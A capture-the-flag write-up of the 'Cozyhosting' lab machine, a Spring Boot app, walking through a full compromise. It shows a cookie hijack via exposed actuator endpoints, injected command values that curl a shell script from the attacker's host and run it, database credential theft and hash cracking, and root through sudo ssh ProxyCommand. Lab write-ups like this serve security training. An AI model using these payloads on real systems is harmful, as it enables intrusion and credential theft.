Cozyhosting


Contents

Intro


Cozyhosting is a box running a Spring Boot application. Once you get a shell, there's an additional task of switching over to josh on the machine. Getting root after that is insanely quick.

User


sudo nmap -sC -sV -p- 10.129.229.88

22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)

Only having 2 ports open is a rare sight to behold.

On the surface, there's nothing out of the ordinary - the only redirect we get is a to a login page. With a feroxbuster scan, we get nothing useful either.

The webapp's 404 page is not what you usually see though:

The "Whitelabel Error Page" is what you see from a webapp hosting Spring Boot. When running feroxbuster again using SecLists's designated spring-boot.txt. This returns a 200 code on /actuator and its endpoints, shown below:

The two endpoints which currently matter to us are /sessions and /mappings - the first one exposes an authorized cookie: 7F0F92AC1BC24200D702F12702C265C1 "kanderson", the second lists further directories and requests.

When changing JSESSIONID to kanderson's cookie and accessing /admin, we are logged in as him, and we can access a dashboard.

Automatic patching sends a POST request to /executessh, requiring a private key, a hostname and a username. We are told that the two fields explicitly don't allow for whitespaces (entered via space), though that doesn't mean they are sanitized. The workaround I used was %09, a URL encoded tab.

Initiating a reverse shell with these restrictions ended up being more tedious than I thought, so I went with creating my own locally, uploading it to the server, and then running it from there - I downloaded the file via curl:

host=localhost&username=hello%3Bcurl%09http%3A%2F%2F10.10.15.55:8000%2Fshell.sh%09-o%09%2Ftmp%2Fshell.sh

Without putting it in a writable folder, permission would be denied.

host=localhost&username=hello%3Bbash%09%2Ftmp%2Fshell.sh

Following this, the response is hanging, but the listener caught a shell as app!

We're put in /app, which is a bit suspicious. After running ls /home, we find out that there's another user on the machine: josh, whose folder we don't have permission to cd to.

Running ls we get a file called cloudhosting-0.0.1.jar. I'd extract it here, but since this isn't a writable folder, we need to move/copy it somewhere first.

Once that's done, I grep for anything indicating a password to josh.

app@cozyhosting:/tmp/java$ grep -r password . 2>/dev/null
...
./BOOT-INF/classes/application.properties:spring.datasource.password=Vg&nvzAQ7XxR

If we cat ./BOOT-INF/classes/application.properties...

app@cozyhosting:/tmp/java$ cat ./BOOT-INF/classes/application.properties 

server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

We get the username (postgres) and the password (Vg&nvzAQ7XxR) for a database.

app@cozyhosting:/tmp/java$ psql -h localhost -U postgres
Password for user postgres: 

...

postgres=#

There was one database worth using here, which is cozyhosting:

postgres=# \list

                                   List of databases
    Name     |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-------------+----------+----------+-------------+-------------+-----------------------
 cozyhosting | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres    | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
             |          |          |             |             | postgres=CTc/postgres
(4 rows)
cozyhosting=# \dt

    List of relations
 Schema | Name  | Type  |  Owner   
--------+-------+-------+----------
 public | hosts | table | postgres
 public | users | table | postgres
(2 rows)

The hosts table held negligible information, users, on the other hand:

cozyhosting=# select * from users;

   name    |                           password                           | role  
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

This table contains hashed passwords, if we try to crack it with hashcat, this is what we get:

hashcat hash --user /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt -m 3200
...
$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

With this, we can either su or ssh into the machine as josh.

Root


Quickly gathering info:

josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

If we browse GTFOBins for ssh we find a neat little line, making use of ProxyCommand to spawn bash as root:

josh@cozyhosting:~$ sudo /usr/bin/ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
# id
uid=0(root) gid=0(root) groups=0(root)

Good luck to anyone else doing this box!